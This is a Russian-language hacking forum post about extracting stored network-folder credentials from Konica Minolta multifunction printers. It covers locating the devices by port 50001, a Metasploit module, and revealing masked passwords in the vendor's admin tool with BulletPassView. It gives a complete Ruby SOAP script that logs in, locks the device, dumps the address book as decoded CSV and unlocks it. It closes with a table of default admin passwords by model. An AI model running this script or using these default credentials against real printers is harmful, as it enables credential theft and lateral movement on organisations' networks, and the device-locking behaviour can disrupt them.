ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Беспроводные технологии/Wi-Fi/Wardriving (https://forum.antichat.xyz/forumdisplay.php?f=113)
-   -   Konica Minolta (https://forum.antichat.xyz/showthread.php?t=592405)

Eva Karimova 27.02.2026 16:40

https://forum.antichat.xyz/attachmen...d504913a67.png

В адресной книге МФУ Konica Minolta (стоит отметить, что быстро обнаружить принтеры данной марки можно с помощью поиска на сетевых устройствах открытого порта 50001), имеющих возможность сохранять сканированные документы в сетевые каталоги, сохраняются учетные данные для прохождения процедуры аутентификации. Эти данные хранятся в зашифрованном виде, через веб-форму невозможно узнать пароль, только логин. Однако, для ряда моделей есть скрипт в Metasploit.

Пример использования данного скрипта:

https://forum.antichat.xyz/attachmen...2191482688.png

Опытным путем получено следующее:
  1. Данный скрипт работает через протокол SOAP по порту 50001. Сначала отправляет запрос на авторизацию с учетными данными, в ответе получает AuthKey. С полученным AuthKey запрашивает адресную книгу, которую получает в формате XML в открытом виде. Затем отправляет запрос на логаут.
  2. На ряде МФУ, например, C3110, скрипт не работает.
  3. Существует проприетарное ПО KONICA MINOLTA Data Administrator, позволяющее управлять принтерами данной марки.

    Кроме этого, через данное ПО присутствует возможность получения аутентификационных данных.

  4. Извлечение паролей возможно в случае, если есть аутентификационные данные для консоли управления принтером.
Извлечение паролей с помощью KONICA MINOLTA Data Administrator

Запускаем ПО

https://forum.antichat.xyz/attachmen...2191482693.png

Нажимаем кнопку "Registration of Device"

https://forum.antichat.xyz/attachmen...2191482699.png

Нажимаем клавишу "Search and Register..."

https://forum.antichat.xyz/attachmen...2191482705.png

Делаем двойной клик по нужному принтеру

https://forum.antichat.xyz/attachmen...2191482712.png

Вводим пароль администратора принтера и нажимаем "ОК"

https://forum.antichat.xyz/attachmen...2191482718.png

Закрываем окно с успешной регистрацией устройства, видим, что в списке устройств появилось новое.

https://forum.antichat.xyz/attachmen...2191482722.png

Делаем двойной клик по устройству

https://forum.antichat.xyz/attachmen...2191482728.png

Нажимаем кнопку Import и соглашаемся с всплывающим окном

https://forum.antichat.xyz/attachmen...2191482733.png

После недолгого процесса открывается окно с инфо об устройстве

https://forum.antichat.xyz/attachmen...2191482739.png

В левой части выбираем "Address Settings", в открытой вкладке "Address book"

https://forum.antichat.xyz/attachmen...2191482744.png

Открывается список сохраненных логинов/паролей, по двойному клику на запись открывается полная информация

https://forum.antichat.xyz/attachmen...2191482750.png

Пароль скрыт с использованием точек, но с помощью BulletPassView получим его в открытом виде

https://forum.antichat.xyz/attachmen...2191482758.png

Данный способ является универсальным для всех устройств фирмы Konica Minolta.


Автоматизация для остальных устройств
Исследовав способ взаимодействия (трафик отправляется в открытом виде без использования шифрования) данного ПО с принтерами C3110 узнали следующее:
  1. В отличии от других принтеров, для выгрузки паролей нужно пять, а не три шага. А именно:
    1. Запрос на аутентификацию с получением AuthKey
    2. Запрос на блокировку устройства с получением LockKey
    3. Запрос на получение адресной книги (с использованием AuthKey и LockKey)
    4. Запрос на разблокировку устройства
    5. Запрос на логаут
Стоит отметить, что при слишком быстром отправлении данных запросов устройство не обрабатывает и пропускает некоторые из них. В результате получим заблокированное устройство, разблокировать которое можно только перезагрузкой.
  1. В результате имеем не XML, а закодированную в Base64 CSV.
Для автоматизации был модернизирован модуль для Metasploit, указанный выше. Используется Ruby с библиотеками 'net/http',

'uri', 'nokogiri', 'base64'.

В теле скрипта прописаны аутентификационные данные для принтера, а также указан IP-адрес принтера. В результате скрипт выдает CSV в чистом виде.

https://forum.antichat.xyz/attachmen...2191482784.png

Скрипт представлен в приложении.


Код:


Код:

require 'net/http'
require 'uri'
require 'nokogiri'
require "base64"

def generate_authkey_request_xlm(major, minor)
  user ='Admin'
  passwd = '12345678'
  Nokogiri::XML::Builder.new do |xml|
  xml.send('SOAP-ENV:Envelope',
  'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
  'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
  'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
  'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
  xml.send('SOAP-ENV:Header'){
  xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
  xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
  xml.send('UserName', 'xmlns' => '') { xml.text '' }
  xml.send('Password', 'xmlns' => '') { xml.text '' }
  xml.send('Version', 'xmlns' => ''){
  xml.send('Major') { xml.text "#{major}" }
  xml.send('Minor') { xml.text "#{minor}" }
  }
  xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
  }
  }
  xml.send('SOAP-ENV:Body') {
  xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
  xml.send('OperatorInfo'){
  xml.send('UserType') { xml.text "#{user}" }
  xml.send('Password') { xml.text "#{passwd}" }
  }
  xml.send('TimeOut') { xml.text '60' }
  }
  }
  }
  end
end

def generate_logout_request_xlm(major, minor, authkey)
  Nokogiri::XML::Builder.new do |xml|
  xml.send('SOAP-ENV:Envelope',
  'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
  'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
  'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
  'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
  xml.send('SOAP-ENV:Header'){
  xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
  xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
  xml.send('UserName', 'xmlns' => '') { xml.text '' }
  xml.send('Password', 'xmlns' => '') { xml.text '' }
  xml.send('Version', 'xmlns' => ''){
  xml.send('Major') { xml.text "#{major}" }
  xml.send('Minor') { xml.text "#{minor}" }
  }
  xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
  }
  }
  xml.send('SOAP-ENV:Body') {
  xml.send('AppReqLogout', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
  xml.send('OperatorInfo'){
  xml.send('AuthKey') { xml.text "#{authkey}" }
  }
  xml.send('TimeOut') { xml.text '60' }
  }
  }
  }
  end
end

def generate_lock_request_xlm(major, minor, authkey)
  Nokogiri::XML::Builder.new do |xml|
  xml.send('SOAP-ENV:Envelope',
  'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
  'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
  'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
  'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
  xml.send('SOAP-ENV:Header'){
  xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
  xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
  xml.send('UserName', 'xmlns' => '') { xml.text '' }
  xml.send('Password', 'xmlns' => '') { xml.text '' }
  xml.send('Version', 'xmlns' => ''){
  xml.send('Major') { xml.text "#{major}" }
  xml.send('Minor') { xml.text "#{minor}" }
  }
  xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
  }
  }
  xml.send('SOAP-ENV:Body') {
  xml.send('AppReqEnterDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
  xml.send('OperatorInfo'){
  xml.send('AuthKey') { xml.text "#{authkey}" }
  }
  xml.send('LockType') { xml.text 'DownloadLock' }
  xml.send('PackageEntryFlg') { xml.text 'Package' }
  xml.send('TimeOut') { xml.text '60' }
  }
  }
  }
  end
end

def generate_unlock_request_xlm(major, minor, authkey, lockkey)
  Nokogiri::XML::Builder.new do |xml|
  xml.send('SOAP-ENV:Envelope',
  'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
  'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
  'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
  'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
  xml.send('SOAP-ENV:Header'){
  xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
  xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
  xml.send('UserName', 'xmlns' => '') { xml.text '' }
  xml.send('Password', 'xmlns' => '') { xml.text '' }
  xml.send('Version', 'xmlns' => ''){
  xml.send('Major') { xml.text "#{major}" }
  xml.send('Minor') { xml.text "#{minor}" }
  }
  xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
  }
  }
  xml.send('SOAP-ENV:Body') {
  xml.send('AppReqExitDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
  xml.send('OperatorInfo'){
  xml.send('AuthKey') { xml.text "#{authkey}" }
  }
  xml.send('LockKey') { xml.text "#{lockkey}" }
  }
  }
  }
  end
end

def generate_pwd_request_xlm(major, minor, authkey, lockkey)
  Nokogiri::XML::Builder.new do |xml|
  xml.send('SOAP-ENV:Envelope',
  'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
  'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
  'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
  'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
  xml.send('SOAP-ENV:Header'){
  xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
  xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
  xml.send('UserName', 'xmlns' => '') { xml.text '' }
  xml.send('Password', 'xmlns' => '') { xml.text '' }
  xml.send('Version', 'xmlns' => ''){
  xml.send('Major') { xml.text "#{major}" }
  xml.send('Minor') { xml.text "#{minor}" }
  }
  xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
  }
  }
  xml.send('SOAP-ENV:Body'){
  xml.send('AppReqSyncGetPackageData', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
  xml.send('OperatorInfo'){
  xml.send('AuthKey') { xml.text "#{authkey}" }
  }
  xml.send('LockKey') { xml.text "#{lockkey}" }
  xml.send('RequestItem') { xml.text 'Abbr' }
  xml.send('ObtainCondition'){
  xml.send('Type') { xml.text 'OffsetList' }
  xml.send('OffsetRange'){
  xml.send('Start') { xml.text '1' }
  xml.send('Length') { xml.text '100' }
  }
  }
  xml.send('BackUp') { xml.text 'On' }
  xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
  xml.send('FileFormat') { xml.text 'Csv' }
  }
  }
  }
  end
end

def version(ip)
  response = send_request(ip, '','""')
  if response.nil?
  print_error("No response from device")
  return
  else
  xml0_body = ::Nokogiri::XML(response.body)
  major_parse = xml0_body.xpath('//Major').text
  minor_parse = xml0_body.xpath('//Minor').text
  major = ("#{major_parse}")
  minor = ("#{minor_parse}")
  sleep(1)
  login(ip, major, minor)
  end

  rescue
  puts("Version check Connection failed")
end

def login(ip, major, minor)
  authreq_xml = generate_authkey_request_xlm(major, minor)
  begin
  response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogin")
  if response.nil?
  print_error("No response from device")
  return
  else
  xml1_body = ::Nokogiri::XML(response.body)
  authkey_parse = xml1_body.xpath('//AuthKey').text
  authkey = ("#{authkey_parse}")
  sleep(1)
  lock(ip, major, minor, authkey)
  logout(ip, major, minor, authkey)
  end
  rescue
  puts("Login Connection failed")
  end
end

def lock(ip, major, minor, authkey)
  lockreq_xml = generate_lock_request_xlm(major, minor, authkey)
  begin
  response = send_request(ip, lockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqEnterDeviceLock")
  if response.nil?
  print_error("No response from device")
  return
  else
  xml1_body = ::Nokogiri::XML(response.body)
  lockkey_parse = xml1_body.xpath('//LockKey').text
  lockkey = ("#{lockkey_parse}")
  sleep(1)
  extract(ip, major, minor, authkey, lockkey)
  unlock(ip, major, minor, authkey, lockkey)
  end
  rescue
  puts("Lock failed")
  end
end

def unlock(ip, major, minor, authkey, lockkey)
  unlockreq_xml = generate_unlock_request_xlm(major, minor, authkey, lockkey)
  begin
  response = send_request(ip, unlockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqExitDeviceLock")
  sleep(1)
  if response.nil?
  print_error("No response from device")
  return
  end
  rescue
  puts("unlock failed")
  end
end

def logout(ip, major, minor, authkey)
  authreq_xml = generate_logout_request_xlm(major, minor, authkey)
  begin
  response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogout")
  if response.nil?
  print_error("No response from device")
  return
  end
  rescue
  puts("logout failed")
  end
end

def extract(ip, major, minor, authkey, lockkey)
  if (authkey != '')
  smbreq_xml = generate_pwd_request_xlm(major, minor, authkey, lockkey)
  begin
  response = send_request(ip, smbreq_xml.to_xml,"http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqSyncGetPackageData")
  sleep(1)
  if response.nil?
  print_error("No response from device")
  return
  else
  pattern = /Content-Transfer-Encoding: base64(.*?)--MIME_boundary--/m
  csv_data = nil
  if match = response.body.match(pattern)
  csv_data = match[1].strip
  end
 
  if csv_data.nil?
  puts "CSV данные не найдены."
  else
  decoded_csv = Base64.decode64(csv_data)
 
  puts "Decoded CSV:"
  puts decoded_csv
  end
  end
  end
  end
end

def send_request(ip, data, action)
  uri = URI.parse("http://#{ip}:50001/OpenAPI")
  http = Net::HTTP.new(uri.host, uri.port)

  request = Net::HTTP::Post.new(uri.path)
  request.body = data # Тело запроса
  request['Content-Type'] = 'text/xml'
  request['SOAPAction'] = "#{action}"
 
  return http.request(request)
end

version('172.16.1.121')

Пароли к устройствам Konica Minolta по умолчанию

ModelAdmin PassPSWC Admin Login/Pass

Model: 20/20p
Admin Pass: admin/access
PSWC: 25e(none)

Model: 36/42
Admin Pass: 12345678
PSWC: 12345678

Model: 40p
Admin Pass: administrator
PSWC: (none)

Model: 4050/4750
Admin Pass: 12345678
PSWC: 12345678

Model: 4052/4752
Admin Pass: 1234567812345678
PSWC: 1234567812345678

Model: c20
Admin Pass: 000000
PSWC: administrator

Model: c20p
Admin Pass: administrator
PSWC: (none)

Model: c25
Admin Pass: 000000
PSWC: administrator

Model: c35
Admin Pass: 12345678
PSWC: 12345678

Model: c35p
Admin Pass: administrator
PSWC: (none)

Model: C3100p
Admin Pass: 12345678
PSWC: 12345678

Model: C3110
Admin Pass: 12345678
PSWC: 12345678

Model: c3350/c3850/c3850FS
Admin Pass: 12345678
PSWC: 12345678

Model: c3351/c3851/c3851FS
Admin Pass: 1234567812345678
PSWC: 1234567812345678

Model: 162/163/165/185/210/211/215/226/266/306/225i
Admin Pass: 000000
PSWC: sysadm

Model: c250/c252/c352/c450/c203/c253/c353/c451/c650/c220/c280/c360
Admin Pass: 12345678
PSWC: 12345678

Model: c452/c552/c652/c652DS/420/500/361/421/501/223/283/363/423/552/652
Admin Pass: (none)
PSWC: (none)

Model: c224/c224e/c284/c284e/c364/c364e/c454/c454e/c554
Admin Pass: 1234567812345678
PSWC: 1234567812345678

Model: c554e/c654/c654e/c754/c754e/654/754/224e/284e/364e/454e/554e/
227/287/367/308/308e/368/368e/458/458e/558/558e/658e/758/808/958/
C227/C287/C258/C308/C368/C458/C558/C659/C759
Admin Pass: (none)
PSWC: (none)

Model: 4050i/4750i/300i/360i/450i/550i/650i/750i/850i/950i/C3300i/
C4000i/C3320i/C3350i/C4050i/C257i/C250i/C300i/C360i/C450i/C550i/
C650i/C750i
Admin Pass: 1234567812345678
PSWC: 1234567812345678


Время: 06:50